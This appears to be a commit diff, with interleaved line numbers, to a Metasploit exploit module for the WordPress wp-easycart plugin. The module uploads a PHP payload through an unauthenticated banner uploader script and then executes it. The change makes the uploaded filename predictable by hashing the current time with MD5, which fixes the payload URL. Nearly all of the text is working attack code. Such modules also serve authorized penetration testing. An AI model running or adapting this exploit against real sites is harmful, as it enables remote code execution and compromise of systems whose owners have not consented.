4
4
##
5
5
6
6
require 'msf/core'
7
+ require 'digest/md5'
7
8
8
9
class Metasploit3 < Msf ::Exploit ::Remote
9
10
Rank = ExcellentRanking
@@ -64,9 +65,9 @@ def check
64
65
check_plugin_version_from_readme ( 'wp-easycart' , '3.0.5' )
65
66
end
66
67
67
- def generate_mime_message ( payload , name )
68
+ def generate_mime_message ( payload , date_hash , name )
68
69
data = Rex ::MIME ::Message . new
69
- data . add_part ( '1' , nil , nil , 'form-data; name="datemd5"' )
70
+ data . add_part ( date_hash , nil , nil , 'form-data; name="datemd5"' )
70
71
data . add_part ( payload . encoded , 'application/x-php' , nil , "form-data; name=\" Filedata\" ; filename=\" #{ name } \" " )
71
72
data
72
73
end
@@ -79,10 +80,11 @@ def exploit
79
80
80
81
print_status ( "#{ peer } - Preparing payload..." )
81
82
payload_name = Rex ::Text . rand_text_alpha ( 10 )
83
+ date_hash = Digest ::MD5 . hexdigest ( Time . now . to_s )
82
84
plugin_url = normalize_uri ( wordpress_url_plugins , 'wp-easycart' )
83
85
uploader_url = normalize_uri ( plugin_url , 'inc' , 'amfphp' , 'administration' , 'banneruploaderscript.php' )
84
- payload_url = normalize_uri ( plugin_url , 'products' , 'banners' , "#{ payload_name } _1 .php" )
85
- data = generate_mime_message ( payload , "#{ payload_name } .php" )
86
+ payload_url = normalize_uri ( plugin_url , 'products' , 'banners' , "#{ payload_name } _ #{ date_hash } .php" )
87
+ data = generate_mime_message ( payload , date_hash , "#{ payload_name } .php" )
86
88
87
89
print_status ( "#{ peer } - Uploading payload to #{ payload_url } " )
88
90
res = send_request_cgi (
@@ -98,7 +100,7 @@ def exploit
98
100
print_good ( "#{ peer } - Uploaded the payload" )
99
101
100
102
print_status ( "#{ peer } - Executing the payload..." )
101
- register_files_for_cleanup ( "#{ payload_name } _1 .php" )
103
+ register_files_for_cleanup ( "#{ payload_name } _ #{ date_hash } .php" )
102
104
send_request_cgi (
103
105
{
104
106
'uri' => payload_url ,
0 commit comments